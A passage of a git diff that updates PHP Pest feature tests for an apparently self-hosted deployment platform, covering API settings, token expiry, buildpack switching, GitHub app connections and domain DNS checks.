file_get_contents(resource_path('views/livewire/project/service/resource-card.blade.php'));-- expect($configuration)- ->toContain("'overflow-x-auto rounded-xl")- ->toContain('min-w-[48rem]')- ->and($resourceCard)- ->toContain('min-w-[48rem]')- ->not->toContain('<div class="hidden truncate font-mono');-});--it('opens service resource settings when a table row is clicked', function () {- $resourceCard = file_get_contents(resource_path('views/livewire/project/service/resource-card.blade.php'));-- expect($resourceCard)- ->toContain('x-on:click="openSettings($event)"')- ->toContain('x-on:keydown.enter="openSettings($event)"')- ->toContain("closest('a, button')")- ->toContain('role="link"')- ->toContain('tabindex="0"');-});--it('uses selected service resource actions instead of parent complex status actions', function () {- $heading = file_get_contents(resource_path('views/livewire/project/service/heading.blade.php'));- $headingClass = file_get_contents(app_path('Livewire/Project/Service/Heading.php'));-- expect(substr_count($heading, "\$selectedResource && \$selectedResource->container_present !== false && \$selectedResourceStatus->startsWith('exited')"))->toBe(2)- ->and($heading)- ->toContain('Remove container')- ->toContain('removeSelectedResourceContainer')- ->and($headingClass)- ->toContain('public function removeSelectedResourceContainer(): void');-});-it('imports the application model used when claiming a restart limit', function () {$statusAction = file_get_contents(app_path('Actions/Docker/GetContainersStatus.php'));diff --git a/tests/Feature/Api/ApplicationHealthCheckApiTest.php b/tests/Feature/Api/ApplicationHealthCheckApiTest.phpindex 3e40780515..f29e6fa236 100644--- a/tests/Feature/Api/ApplicationHealthCheckApiTest.php+++ b/tests/Feature/Api/ApplicationHealthCheckApiTest.php@@ -2,6 +2,7 @@use App\Models\Application;use App\Models\Environment;+use App\Models\InstanceSettings;use App\Models\Project;use App\Models\Server;use App\Models\StandaloneDocker;@@ -13,6 +14,8 @@ use Visus\Cuid2\Cuid2;uses(RefreshDatabase::class);beforeEach(function () {+ InstanceSettings::forceCreate(['id' => 0]);+$this->team = Team::factory()->create();$this->user = User::factory()->create();$this->team->members()->attach($this->user->id, ['role' => 'owner']);diff --git a/tests/Feature/Api/DatabaseBackupCreationApiTest.php b/tests/Feature/Api/DatabaseBackupCreationApiTest.phpindex 57f151f15e..0eab7b8fd0 100644--- a/tests/Feature/Api/DatabaseBackupCreationApiTest.php+++ b/tests/Feature/Api/DatabaseBackupCreationApiTest.php@@ -262,7 +262,7 @@ describe('POST /api/v1/databases/{uuid}/backups', function () {$backup = ScheduledDatabaseBackup::where('uuid', $response->json('uuid'))->first();expect($backup)->not->toBeNull();expect($backup->s3_storage_id)->toBe($this->s3Storage->id);- expect($backup->save_s3)->toBeTrue();+ expect($backup->save_s3)->toBeTruthy();expect($backup->team_id)->toBe($this->team->id);});@@ -310,7 +310,7 @@ describe('PATCH /api/v1/databases/{uuid}/backups/{scheduled_backup_uuid}', funct$response->assertStatus(200);$backup->refresh();expect($backup->s3_storage_id)->toBe($this->s3Storage->id);- expect($backup->save_s3)->toBeTrue();+ expect($backup->save_s3)->toBeTruthy();});test('rejects s3_storage_uuid from another team on update', function () {diff --git a/tests/Feature/Api/DomainsByServerApiTest.php b/tests/Feature/Api/DomainsByServerApiTest.phpindex c14e538a7e..c64f33d6f4 100644--- a/tests/Feature/Api/DomainsByServerApiTest.php+++ b/tests/Feature/Api/DomainsByServerApiTest.php@@ -2,6 +2,7 @@use App\Models\Application;use App\Models\Environment;+use App\Models\InstanceSettings;use App\Models\Project;use App\Models\Server;use App\Models\StandaloneDocker;@@ -12,6 +13,8 @@ use Illuminate\Foundation\Testing\RefreshDatabase;uses(RefreshDatabase::class);beforeEach(function () {+ InstanceSettings::forceCreate(['id' => 0, 'is_api_enabled' => true]);+$this->team = Team::factory()->create();$this->user = User::factory()->create();$this->team->members()->attach($this->user->id, ['role' => 'owner']);@@ -45,7 +48,7 @@ test('returns domains for own team application via uuid query param', function (->getJson("/api/v1/servers/{$this->server->uuid}/domains?uuid={$application->uuid}");$response->assertOk();- $response->assertJsonFragment(['my-app.example.com']);+ $response->assertExactJson(['https://my-app.example.com']);});test('returns 404 when application uuid belongs to another team', function () {@@ -87,7 +90,7 @@ test('returns 404 when server uuid belongs to another team', function () {$otherServer = Server::factory()->create(['team_id' => $otherTeam->id]);- $response = $this->withHeaders(authHeaders())+ $response = $this->withHeaders(domainApiAuthHeaders())->getJson("/api/v1/servers/{$otherServer->uuid}/domains");$response->assertNotFound();@@ -112,7 +115,7 @@ test('only returns domains for applications on the specified server', function ('destination_type' => $otherDestination->getMorphClass(),]);- $response = $this->withHeaders(authHeaders())+ $response = $this->withHeaders(domainApiAuthHeaders())->getJson("/api/v1/servers/{$this->server->uuid}/domains");$response->assertOk();diff --git a/tests/Feature/Api/GithubAppsListApiTest.php b/tests/Feature/Api/GithubAppsListApiTest.phpindex cb15cd9347..181bfde4f6 100644--- a/tests/Feature/Api/GithubAppsListApiTest.php+++ b/tests/Feature/Api/GithubAppsListApiTest.php@@ -5,6 +5,7 @@ use App\Models\InstanceSettings;use App\Models\PrivateKey;use App\Models\Team;use App\Models\User;+use App\Rules\SafeExternalUrl;use Illuminate\Foundation\Testing\RefreshDatabase;use Illuminate\Support\Facades\Http;@@ -460,6 +461,12 @@ describe('GitHub app API url normalization', function () {'is_public' => false,]);+ // The GHE host is fictional, so resolve it to a public IP instead of hitting real DNS.+ Http::macro('GitSource', fn (string $url) => Http::withOptions(SafeExternalUrl::httpClientOptions(+ $url,+ resolver: fn (string $host): array => ['93.184.216.34'],+ )));+Http::preventStrayRequests();Http::fake(['https://api.octocorp.ghe.com/zen' => Http::response('Keep it logically awesome.', 200, [diff --git a/tests/Feature/Api/ScheduledTaskApiTest.php b/tests/Feature/Api/ScheduledTaskApiTest.phpindex 741082cffe..86066b277f 100644--- a/tests/Feature/Api/ScheduledTaskApiTest.php+++ b/tests/Feature/Api/ScheduledTaskApiTest.php@@ -17,7 +17,7 @@ uses(RefreshDatabase::class);beforeEach(function () {// ApiAllowed middleware requires InstanceSettings with id=0- InstanceSettings::create(['id' => 0, 'is_api_enabled' => true]);+ InstanceSettings::forceCreate(['id' => 0, 'is_api_enabled' => true]);$this->team = Team::factory()->create();$this->user = User::factory()->create();diff --git a/tests/Feature/Api/ServerValidationApiTest.php b/tests/Feature/Api/ServerValidationApiTest.phpindex b50a736978..7274d91dc6 100644--- a/tests/Feature/Api/ServerValidationApiTest.php+++ b/tests/Feature/Api/ServerValidationApiTest.php@@ -12,7 +12,7 @@ use Illuminate\Support\Facades\Queue;uses(RefreshDatabase::class);beforeEach(function () {- InstanceSettings::updateOrCreate(['id' => 0], ['is_api_enabled' => true]);+ InstanceSettings::forceCreate(['id' => 0, 'is_api_enabled' => true]);$this->team = Team::factory()->create();$this->user = User::factory()->create();diff --git a/tests/Feature/ApiTokenExpirationTest.php b/tests/Feature/ApiTokenExpirationTest.phpindex 99a9528485..812e162160 100644--- a/tests/Feature/ApiTokenExpirationTest.php+++ b/tests/Feature/ApiTokenExpirationTest.php@@ -1,6 +1,7 @@<?phpuse App\Livewire\Security\ApiTokens;+use App\Models\InstanceSettings;use App\Models\Team;use App\Models\User;use Illuminate\Foundation\Testing\RefreshDatabase;@@ -9,15 +10,20 @@ use Livewire\Livewire;uses(RefreshDatabase::class);beforeEach(function () {+ InstanceSettings::forceCreate(['id' => 0, 'is_api_enabled' => true]);+$this->team = Team::factory()->create();$this->user = User::factory()->create();$this->team->members()->attach($this->user->id, ['role' => 'owner']);session(['currentTeam' => $this->team]);- $this->actingAs($this->user);});describe('token creation with expiration', function () {+ beforeEach(function () {+ $this->actingAs($this->user);+ });+test('livewire component stores expires_at when expiresInDays set', function () {Livewire::test(ApiTokens::class)->set('description', 'test-token')@@ -30,8 +36,8 @@ describe('token creation with expiration', function () {expect($token)->not->toBeNull()->and($token->expires_at)->not->toBeNull()- ->and($token->expires_at->diffInDays(now()))->toBeGreaterThanOrEqual(6)- ->and($token->expires_at->diffInDays(now()))->toBeLessThanOrEqual(7);+ ->and(now()->diffInDays($token->expires_at))->toBeGreaterThanOrEqual(6)+ ->and(now()->diffInDays($token->expires_at))->toBeLessThanOrEqual(7);});test('livewire component stores null expires_at when expiresInDays null (Never)', function () {@@ -54,7 +60,21 @@ describe('token creation with expiration', function () {->set('expiresInDays', 42)->set('permissions', ['read'])->call('addNewToken')- ->assertHasErrors('expiresInDays');+ ->assertDispatched('error');++ expect($this->user->tokens()->count())->toBe(0);+ });++ test('livewire component keeps Never (null) after an intermediate live update', function () {+ Livewire::test(ApiTokens::class)+ ->set('description', 'never-token')+ ->set('expiresInDays', '')+ ->set('permissions', ['read', 'deploy'])+ ->set('permissions', ['read'])+ ->call('addNewToken')+ ->assertHasNoErrors();++ expect($this->user->tokens()->latest()->first()->expires_at)->toBeNull();});});diff --git a/tests/Feature/Application/ApplicationBuildpackCleanupTest.php b/tests/Feature/Application/ApplicationBuildpackCleanupTest.phpindex 0b23684ef2..d416cc6fa9 100644--- a/tests/Feature/Application/ApplicationBuildpackCleanupTest.php+++ b/tests/Feature/Application/ApplicationBuildpackCleanupTest.php@@ -36,7 +36,7 @@ describe('Application Model Buildpack Cleanup', function () {expect($application->dockerfile)->toBeNull();expect($application->dockerfile_location)->toBeNull();expect($application->dockerfile_target_build)->toBeNull();- expect($application->custom_healthcheck_found)->toBeFalse();+ expect((bool) $application->custom_healthcheck_found)->toBeFalse();});test('model clears dockerfile fields when build_pack changes from dockerfile to static', function () {@@ -61,7 +61,7 @@ describe('Application Model Buildpack Cleanup', function () {expect($application->dockerfile)->toBeNull();expect($application->dockerfile_location)->toBeNull();expect($application->dockerfile_target_build)->toBeNull();- expect($application->custom_healthcheck_found)->toBeFalse();+ expect((bool) $application->custom_healthcheck_found)->toBeFalse();});test('model clears dockercompose fields when build_pack changes from dockercompose to nixpacks', function () {@@ -142,7 +142,7 @@ describe('Application Model Buildpack Cleanup', function () {expect($application->dockerfile)->toBeNull();expect($application->dockerfile_location)->toBeNull();expect($application->dockerfile_target_build)->toBeNull();- expect($application->custom_healthcheck_found)->toBeFalse();+ expect((bool) $application->custom_healthcheck_found)->toBeFalse();});test('model clears dockercompose fields when build_pack changes from dockercompose to railpack', function () {@@ -283,6 +283,6 @@ describe('Application Model Buildpack Cleanup', function () {expect($application->build_pack)->toBe('dockerfile');expect($application->dockerfile)->toBe('FROM alpine:latest');expect($application->dockerfile_location)->toBe('/Dockerfile');- expect($application->custom_healthcheck_found)->toBeTrue();+ expect((bool) $application->custom_healthcheck_found)->toBeTrue();});});diff --git a/tests/Feature/Application/BuildpackSwitchCleanupTest.php b/tests/Feature/Application/BuildpackSwitchCleanupTest.phpindex babd940cba..24301a5752 100644--- a/tests/Feature/Application/BuildpackSwitchCleanupTest.php+++ b/tests/Feature/Application/BuildpackSwitchCleanupTest.php@@ -3,7 +3,10 @@use App\Livewire\Project\Application\General;use App\Models\Application;use App\Models\Environment;+use App\Models\InstanceSettings;use App\Models\Project;+use App\Models\Server;+use App\Models\StandaloneDocker;use App\Models\Team;use App\Models\User;use Illuminate\Foundation\Testing\RefreshDatabase;@@ -24,6 +27,13 @@ beforeEach(function () {// Create project and environment$this->project = Project::factory()->create(['team_id' => $this->team->id]);$this->environment = Environment::factory()->create(['project_id' => $this->project->id]);++ InstanceSettings::unguarded(function () {+ InstanceSettings::updateOrCreate(['id' => 0], []);+ });+ $this->server = Server::factory()->create(['team_id' => $this->team->id]);+ $this->destination = StandaloneDocker::where('server_id', $this->server->id)->first()+ ?? StandaloneDocker::factory()->create(['server_id' => $this->server->id, 'network' => 'coolify-test']);});describe('Buildpack Switching Cleanup', function () {@@ -31,6 +41,8 @@ describe('Buildpack Switching Cleanup', function () {// Create an application with dockerfile buildpack and dockerfile content$application = Application::factory()->create(['environment_id' => $this->environment->id,+ 'destination_id' => $this->destination->id,+ 'destination_type' => StandaloneDocker::class,'build_pack' => 'dockerfile','dockerfile' => 'FROM node:18\nHEALTHCHECK CMD curl -f http://localhost/ || exit 1','dockerfile_location' => '/Dockerfile',@@ -39,10 +51,9 @@ describe('Buildpack Switching Cleanup', function () {]);// Switch to nixpacks buildpack- Livewire::test(General::class, ['application' => $application])+ Livewire::test(General::class, ['application' => $application->fresh()])->assertSuccessful()- ->set('buildPack', 'nixpacks')- ->call('updatedBuildPack');+ ->set('buildPack', 'nixpacks');// Verify dockerfile fields were cleared$application->refresh();@@ -50,12 +61,14 @@ describe('Buildpack Switching Cleanup', function () {expect($application->dockerfile)->toBeNull();expect($application->dockerfile_location)->toBeNull();expect($application->dockerfile_target_build)->toBeNull();- expect($application->custom_healthcheck_found)->toBeFalse();+ expect((bool) $application->custom_healthcheck_found)->toBeFalse();});test('clears dockerfile fields when switching from dockerfile to static', function () {$application = Application::factory()->create(['environment_id' => $this->environment->id,+ 'destination_id' => $this->destination->id,+ 'destination_type' => StandaloneDocker::class,'build_pack' => 'dockerfile','dockerfile' => 'FROM nginx:alpine','dockerfile_location' => '/custom.Dockerfile',@@ -63,30 +76,30 @@ describe('Buildpack Switching Cleanup', function () {'custom_healthcheck_found' => true,]);- Livewire::test(General::class, ['application' => $application])+ Livewire::test(General::class, ['application' => $application->fresh()])->assertSuccessful()- ->set('buildPack', 'static')- ->call('updatedBuildPack');+ ->set('buildPack', 'static');$application->refresh();expect($application->build_pack)->toBe('static');expect($application->dockerfile)->toBeNull();expect($application->dockerfile_location)->toBeNull();expect($application->dockerfile_target_build)->toBeNull();- expect($application->custom_healthcheck_found)->toBeFalse();+ expect((bool) $application->custom_healthcheck_found)->toBeFalse();});test('does not clear dockerfile fields when switching to dockerfile', function () {$application = Application::factory()->create(['environment_id' => $this->environment->id,+ 'destination_id' => $this->destination->id,+ 'destination_type' => StandaloneDocker::class,'build_pack' => 'nixpacks','dockerfile' => null,]);- Livewire::test(General::class, ['application' => $application])+ Livewire::test(General::class, ['application' => $application->fresh()])->assertSuccessful()- ->set('buildPack', 'dockerfile')- ->call('updatedBuildPack');+ ->set('buildPack', 'dockerfile');// When switching TO dockerfile, fields remain as they were$application->refresh();@@ -96,15 +109,16 @@ describe('Buildpack Switching Cleanup', function () {test('does not affect fields when switching between non-dockerfile buildpacks', function () {$application = Application::factory()->create(['environment_id' => $this->environment->id,+ 'destination_id' => $this->destination->id,+ 'destination_type' => StandaloneDocker::class,'build_pack' => 'nixpacks','dockerfile' => null,'dockerfile_location' => null,]);- Livewire::test(General::class, ['application' => $application])+ Livewire::test(General::class, ['application' => $application->fresh()])->assertSuccessful()- ->set('buildPack', 'static')- ->call('updatedBuildPack');+ ->set('buildPack', 'static');$application->refresh();expect($application->build_pack)->toBe('static');@@ -114,6 +128,8 @@ describe('Buildpack Switching Cleanup', function () {test('clears dockerfile fields when switching from dockerfile to railpack', function () {$application = Application::factory()->create(['environment_id' => $this->environment->id,+ 'destination_id' => $this->destination->id,+ 'destination_type' => StandaloneDocker::class,'build_pack' => 'dockerfile','dockerfile' => 'FROM node:18','dockerfile_location' => '/Dockerfile',@@ -121,37 +137,37 @@ describe('Buildpack Switching Cleanup', function () {'custom_healthcheck_found' => true,]);- Livewire::test(General::class, ['application' => $application])+ Livewire::test(General::class, ['application' => $application->fresh()])->assertSuccessful()- ->set('buildPack', 'railpack')- ->call('updatedBuildPack');+ ->set('buildPack', 'railpack');$application->refresh();expect($application->build_pack)->toBe('railpack');expect($application->dockerfile)->toBeNull();expect($application->dockerfile_location)->toBeNull();expect($application->dockerfile_target_build)->toBeNull();- expect($application->custom_healthcheck_found)->toBeFalse();+ expect((bool) $application->custom_healthcheck_found)->toBeFalse();});test('clears dockerfile fields when switching from dockerfile to dockercompose', function () {$application = Application::factory()->create(['environment_id' => $this->environment->id,+ 'destination_id' => $this->destination->id,+ 'destination_type' => StandaloneDocker::class,'build_pack' => 'dockerfile','dockerfile' => 'FROM alpine:latest','dockerfile_location' => '/docker/Dockerfile','custom_healthcheck_found' => true,]);- Livewire::test(General::class, ['application' => $application])+ Livewire::test(General::class, ['application' => $application->fresh()])->assertSuccessful()- ->set('buildPack', 'dockercompose')- ->call('updatedBuildPack');+ ->set('buildPack', 'dockercompose');$application->refresh();expect($application->build_pack)->toBe('dockercompose');expect($application->dockerfile)->toBeNull();expect($application->dockerfile_location)->toBeNull();- expect($application->custom_healthcheck_found)->toBeFalse();+ expect((bool) $application->custom_healthcheck_found)->toBeFalse();});});diff --git a/tests/Feature/Application/GithubSourceChangeTest.php b/tests/Feature/Application/GithubSourceChangeTest.phpindex 6eb97e420a..3e9372a8cc 100644--- a/tests/Feature/Application/GithubSourceChangeTest.php+++ b/tests/Feature/Application/GithubSourceChangeTest.php@@ -334,8 +334,8 @@ describe('GitHub Source Change Component', function () {->assertSet('webhook_endpoint', 'http://staging.example.com')->assertSet('custom_webhook_endpoint', 'https://staging.example.com')->assertSet('use_custom_webhook_endpoint', true)- ->assertSee('Use custom webhook endpoint')- ->assertSee('Selected endpoint')+ ->assertSee('Webhook endpoint')+ ->assertSee('Use a custom endpoint')->assertSee('Custom endpoint')->assertSee('createGithubApp(webhookEndpoint, useCustomWebhookEndpoint, customWebhookEndpoint');});@@ -689,7 +689,7 @@ describe('GitHub Source Change Component', function () {->and($public->isConnected())->toBeTrue();});- test('shows connected badge and test connection for installed github apps', function () {+ test('shows test connection for installed github apps', function () {$privateKey = PrivateKey::create(['name' => 'Test Key','private_key' => validPrivateKey(),@@ -713,8 +713,8 @@ describe('GitHub Source Change Component', function () {->test(Change::class)->assertSuccessful()->assertSet('isConnected', true)- ->assertSee('Connected')- ->assertSee('Test Connection');+ ->assertSee('Test connection')+ ->assertSeeHtml('wire:click.prevent="testConnection"');});test('testConnection succeeds when github app credentials are valid', function () {@@ -808,6 +808,6 @@ describe('GitHub Source Change Component', function () {->assertSee('Finished GitHub App')->assertSee('Connected')->assertSee('Incomplete GitHub App')- ->assertSee('Setup required');+ ->assertSee('Setup incomplete');});});diff --git a/tests/Feature/ApplicationClearDomainsTest.php b/tests/Feature/ApplicationClearDomainsTest.phpindex 7604614ed5..c65af38887 100644--- a/tests/Feature/ApplicationClearDomainsTest.php+++ b/tests/Feature/ApplicationClearDomainsTest.php@@ -109,13 +109,16 @@ test('can update general settings when the application has a wildcard domain', f'destination_id' => $this->destination->id,'destination_type' => StandaloneDocker::class,'build_pack' => 'nixpacks',- 'fqdn' => 'https://example.com,https://*.example.com','static_image' => 'nginx:alpine','base_directory' => '/','ports_exposes' => '3000','is_http_basic_auth_enabled' => false,'redirect' => 'no',]);+ // Legacy wildcard domains can no longer be entered (the model normalizes them away on save),+ // so seed the stored value directly, as it exists on older installs.+ Application::query()->whereKey($application->id)->update(['fqdn' => 'https://example.com,https://*.example.com']);+ $application->refresh();Livewire::test(General::class, ['application' => $application])->assertSuccessful()diff --git a/tests/Feature/ApplicationContainerPresenceTest.php b/tests/Feature/ApplicationContainerPresenceTest.phpindex 4a80631dd8..3622ec7140 100644--- a/tests/Feature/ApplicationContainerPresenceTest.php+++ b/tests/Feature/ApplicationContainerPresenceTest.php@@ -24,33 +24,3 @@ it('updates container presence at application lifecycle boundaries', function ()->and($sentinelStatus)->toContain("'container_present' => true")->and($sentinelStatus)->toContain("'container_present' => false");});--it('shows accurate destructive actions and the restart warning on mobile', function () {- $heading = file_get_contents(resource_path('views/livewire/project/application/heading.blade.php'));- $mobileActions = str($heading)- ->after('id="application-mobile-actions"')- ->before('<div class="hidden" aria-hidden="true">')- ->toString();-- expect($heading)->toContain('<x-application.restart-limit-warning :application="$application" />')- ->and(substr_count($heading, '$application->container_present !== false'))->toBe(2)- ->and($heading)->toContain("\$application->stoppedAfterRestartLimit() ? 'Retry deployment' : 'Deploy'")- ->and($heading)->toContain("\$application->stoppedAfterRestartLimit() ? 'Retry deployment (without cache)' : 'Deploy (without cache)'")- ->and($heading)->toContain('Remove container')- ->and($mobileActions)->toContain('Deploy (without cache)')- ->and($mobileActions)->toContain('Remove container')- ->and(strrpos($mobileActions, 'Remove container'))->toBeGreaterThan(strrpos($mobileActions, 'Deploy (without cache)'));-});--it('shows restart limit reached as a yellow state in environment resource lists', function () {- $indexClass = file_get_contents(app_path('Livewire/Project/Resource/Index.php'));- $indexView = file_get_contents(resource_path('views/livewire/project/resource/index.blade.php'));-- expect($indexClass)->toContain("'restartLimitReached' => \$type === 'application' && \$item->stoppedAfterRestartLimit()")- ->and($indexClass)->toContain('? max($item->restart_count ?? 0, $item->max_restart_count ?? 0)')- ->and($indexClass)->toContain("'maxRestartCount' => \$item->max_restart_count ?? 0")- ->and($indexView)->toContain("if (item.restartLimitReached) {\n return 'restart-limit';")- ->and($indexView)->toContain("return 'Restart limit reached';")- ->and($indexView)->toContain("if (item.restartLimitReached) {\n return 'bg-warning';")- ->and($indexView)->toContain('x-bind:title="statusTitle(item)"');-});diff --git a/tests/Feature/ApplicationDockerRegistryImageValidationApiTest.php b/tests/Feature/ApplicationDockerRegistryImageValidationApiTest.phpindex 852b537ec0..05bce534d2 100644--- a/tests/Feature/ApplicationDockerRegistryImageValidationApiTest.php+++ b/tests/Feature/ApplicationDockerRegistryImageValidationApiTest.php@@ -2,6 +2,7 @@use App\Models\Application;use App\Models\Environment;+use App\Models\InstanceSettings;use App\Models\Project;use App\Models\Server;use App\Models\StandaloneDocker;@@ -13,6 +14,8 @@ use Illuminate\Support\Str;uses(RefreshDatabase::class);beforeEach(function () {+ InstanceSettings::forceCreate(['id' => 0, 'is_api_enabled' => true]);+$this->team = Team::factory()->create();$this->user = User::factory()->create();$this->team->members()->attach($this->user->id, ['role' => 'owner']);diff --git a/tests/Feature/ApplicationDomainsTest.php b/tests/Feature/ApplicationDomainsTest.phpindex a3e22d1e39..41c30d8926 100644--- a/tests/Feature/ApplicationDomainsTest.php+++ b/tests/Feature/ApplicationDomainsTest.php@@ -417,6 +417,8 @@ it('manages preview domains and their dns status', function () {Livewire::test(PreviewDomains::class, ['preview' => $preview])->assertSet('domainRows.0.url', 'https://44.example.com')->call('checkDomainDns', 0)+ ->assertSet('domainRows.0.dns_status', 'checking')+ ->call('pollDnsChecks')->assertSet('domainRows.0.dns_status', 'skipped')->set('newDomainParts.host', 'second.example.com')->call('addDomain')@@ -564,7 +566,7 @@ it('notifies when an asynchronous preview dns check finds a mismatch', function$component->call('pollDnsChecks')->assertSet('domainRows.0.dns_status', 'failed')- ->assertDispatched('error', 'DNS is not configured for preview.example.com. Review the required DNS record.');+ ->assertDispatched('error', 'DNS is not configured for preview.example.com. Review the required DNS record. If you changed it recently, DNS propagation can take some time, so please try again later.');});it('does not overwrite a completed preview dns result with stale checking state', function () {@@ -1318,6 +1320,8 @@ it('marks dns status as skipped when dns validation is disabled', function () {Livewire::test(Domains::class, ['application' => $this->application->fresh()])->call('checkAllDns')+ ->assertSet('domainRows.0.dns_status', 'checking')+ ->call('pollDnsChecks')->assertSet('domainRows.0.dns_status', 'skipped');$this->application->refresh();@@ -1477,6 +1481,7 @@ it('persists dns status after checking a domain', function () {Livewire::test(Domains::class, ['application' => $this->application->fresh()])->call('checkDomainDns', 0)+ ->call('pollDnsChecks')->assertSet('domainRows.0.dns_status', 'failed');$this->application->refresh();@@ -1518,7 +1523,7 @@ it('polls a queued dns check and notifies about a mismatch', function () {$component->call('pollDnsChecks')->assertSet('domainRows.0.dns_status', 'failed')- ->assertDispatched('error', 'DNS is not configured for app.example.com. Review the required DNS record.');+ ->assertDispatched('error', 'DNS is not configured for app.example.com. Review the required DNS record. If you changed it recently, DNS propagation can take some time, so please try again later.');});it('does not overwrite a completed queued dns result with stale checking state', function () {@@ -1600,7 +1605,7 @@ it('resolves hostname server addresses to a real ip for dns messages', function->and(filter_var($resolvedIp, FILTER_VALIDATE_IP))->not->toBeFalse()->and($component->get('domainRows.0.expected_ip'))->toBe($resolvedIp);- $component->call('checkAllDns');+ $component->call('checkAllDns')->call('pollDnsChecks');$message = $component->get('domainRows.0.dns_message');$recordType = dnsRecordTypeForIp($resolvedIp);@@ -1626,7 +1631,8 @@ it('uses short aaaa guidance when the server ip is ipv6', function () {$settings->save();$component = Livewire::test(Domains::class, ['application' => $this->application->fresh()])- ->call('checkDomainDns', 0);+ ->call('checkDomainDns', 0)+ ->call('pollDnsChecks');expect($component->get('serverIp'))->toBe('2001:db8::10')->and($component->get('domainRows.0.dns_message'))->toBe('Required DNS record type AAAA pointing to 2001:db8::10');@@ -1649,7 +1655,8 @@ it('uses short a-record guidance for compose applications', function () {$this->server->update(['ip' => '172.16.0.3']);$component = Livewire::test(Domains::class, ['application' => $this->application->fresh()])- ->call('checkDomainDns', 0);+ ->call('checkDomainDns', 0)+ ->call('pollDnsChecks');expect($component->get('domainRows.0.dns_message'))->toBe('Required DNS record type A pointing to 172.16.0.3')->and($component->get('domainRows.0.dns_status'))->toBe('failed');@@ -2169,66 +2176,12 @@ it('groups compose domains by service and hides empty services', function () {->assertDontSee('No domains for this service');});-it('uses the compact service domains layout for compose applications', function () {+it('keys compose domain groups by a stable service identity', function () {$view = file_get_contents(resource_path('views/livewire/project/application/domains.blade.php'));expect($view)->toContain('application-compose-domain-group-{{ $redirectWireKey }}')- ->toContain('class="application-settings-section-body mt-1 scroll-mt-28')- ->toContain('bg-neutral-50 px-4 py-3 dark:border-white/10 dark:bg-white/[0.04]')- ->toContain('class="data-table-header service-domains-overview-grid"')- ->toContain('<span>Domain redirect</span>')- ->toContain('<span>Search indexing</span>')- ->not->toContain('<span>Last checked</span>')- ->not->toContain('id="edit-domain-direction"')- ->toContain('wire:key="application-compose-domain-rows-{{ $redirectWireKey }}"')- ->toContain('htmlId="application-domain-direction"')- ->toContain('id="editingRedirect"')- ->not->toContain("\$isCompose ? 'updateServiceRedirect' : 'updateRedirect'")- ->not->toContain('title="No domains for this service"');-});--it('uses a compact two row domain card at medium widths', function () {- $css = file_get_contents(resource_path('css/app.css'));-- expect($css)- ->toContain('@container service-domains (max-width: 980px)')- ->toContain('grid-template-columns: minmax(0, 1fr) auto auto;')- ->toContain('grid-template-areas: "domain dns actions" "summary summary summary";')- ->toContain('grid-area: summary;');-});--it('uses concise search indexing headers in application and service domain tables', function () {- $applicationView = file_get_contents(resource_path('views/livewire/project/application/domains.blade.php'));- $serviceView = file_get_contents(resource_path('views/livewire/project/service/partials/domain-table.blade.php'));-- expect(substr_count($applicationView, '<span>Search indexing</span>'))- ->toBe(1)- ->and($serviceView)- ->toContain('<span>Search indexing</span>');-});--it('shows a form save button at the bottom of application domain settings', function () {- $view = file_get_contents(resource_path('views/livewire/project/application/domains.blade.php'));-- expect($view)- ->not->toContain('Indexing and redirect changes save automatically.')- ->toContain('data-testid="domain-settings-scroll"')- ->toContain('data-testid="domain-settings-footer"')- ->toContain('class="shrink-0 border-t')- ->toContain('<x-forms.button type="submit" wire:target="updateDomain" isHighlighted>')- ->toContain('Save')- ->not->toContain('<x-unsaved-bar action="updateDomain"');-});--it('opens application domain settings from browser data and shows a dns spinner', function () {- $view = file_get_contents(resource_path('views/livewire/project/application/partials/domain-row.blade.php'));-- expect($view)- ->not->toContain('wire:click="startEdit(')- ->toContain('@click="openEditDomain(')- ->toContain('<x-loading compact aria-label="Checking DNS"')- ->not->toContain('<x-loading-on-button wire:loading.delay');+ ->toContain('wire:key="application-compose-domain-rows-{{ $redirectWireKey }}"');});it('uses the dns badge as progress for single and all application checks', function (string $action, array $parameters) {@@ -2447,54 +2400,6 @@ it('saves regenerated compose domain drafts for only the selected service', func->and($application->noindexDomains()->all())->toBe(["https://{$generatedHost}/api"]);});-it('does not render a last checked column in the domains table', function () {- $view = file_get_contents(resource_path('views/livewire/project/application/domains.blade.php'));- $row = file_get_contents(resource_path('views/livewire/project/application/partials/domain-row.blade.php'));-- expect($view)->not->toContain('<span>Last checked</span>')- ->and($row)->not->toContain('$checkedAt');-});--it('uses compact labeled domain cards on mobile', function () {- $styles = file_get_contents(resource_path('css/app.css'));- $row = file_get_contents(resource_path('views/livewire/project/application/partials/domain-row.blade.php'));-- expect($styles)- ->toContain('@container service-domains (max-width: 980px)')- ->toContain('.service-domain-detail-label')- ->toContain('.service-domains-overview-grid')- ->toContain('@container service-domains (max-width: 600px)')- ->toContain('.service-domain-mobile-summary')- ->and($row)- ->toContain('service-domain-mobile-summary')- ->toContain('No redirects')- ->toContain('Noindex');-});--it('uses segmented fields when adding and editing application domains', function () {- $view = file_get_contents(resource_path('views/livewire/project/application/domains.blade.php'));- $component = file_get_contents(resource_path('views/components/forms/domain-input.blade.php'));-- expect($view)- ->toContain('<x-forms.domain-input id="newDomainParts"')- ->toContain('<x-forms.domain-input id="editingDomainParts"')- ->not->toContain('placeholder="https://app.example.com"')- ->and($component)- ->toContain('Protocol')- ->toContain('Domain')- ->toContain('Port')- ->toContain('Path')- ->toContain('wire:model="{{ $id }}.host"')- ->toContain('<x-forms.listbox id="{{ $id }}.scheme"')- ->not->toContain('<select id="{{ $id }}-protocol"')- ->toContain("['value' => 'https', 'label' => 'https']")- ->toContain("['value' => 'http', 'label' => 'http']")- ->toContain('class="mb-1.5 flex h-4 w-full items-center gap-1.5"')- ->not->toContain('class="mb-1.5 block text-sm font-medium"')- ->toContain('min="1"')- ->toContain('max="65535"');-});-it('updates a compose service redirect from the domains table', function () {$this->application->update(['build_pack' => 'dockercompose',@@ -2517,19 +2422,6 @@ it('updates a compose service redirect from the domains table', function () {->and(data_get($domains, 'web.domain'))->toContain('https://www.web.example.com');});-it('provides client-side search for compose service domains', function () {- $view = file_get_contents(resource_path('views/livewire/project/application/domains.blade.php'));-- expect($view)- ->toContain('x-model="domainSearch"')- ->toContain('class="ml-auto flex flex-wrap items-center gap-2"')- ->toContain('<div class="relative shrink-0">')- ->toContain('placeholder="Search services or domains"')- ->toContain('x-show="matchesDomainSearch(')- ->toContain('title="No domains found"')- ->toContain('hasDomainSearchResults(');-});-it('exposes the domains route in the application configuration menu', function () {$url = route('project.application.domains', ['project_uuid' => $this->project->uuid,diff --git 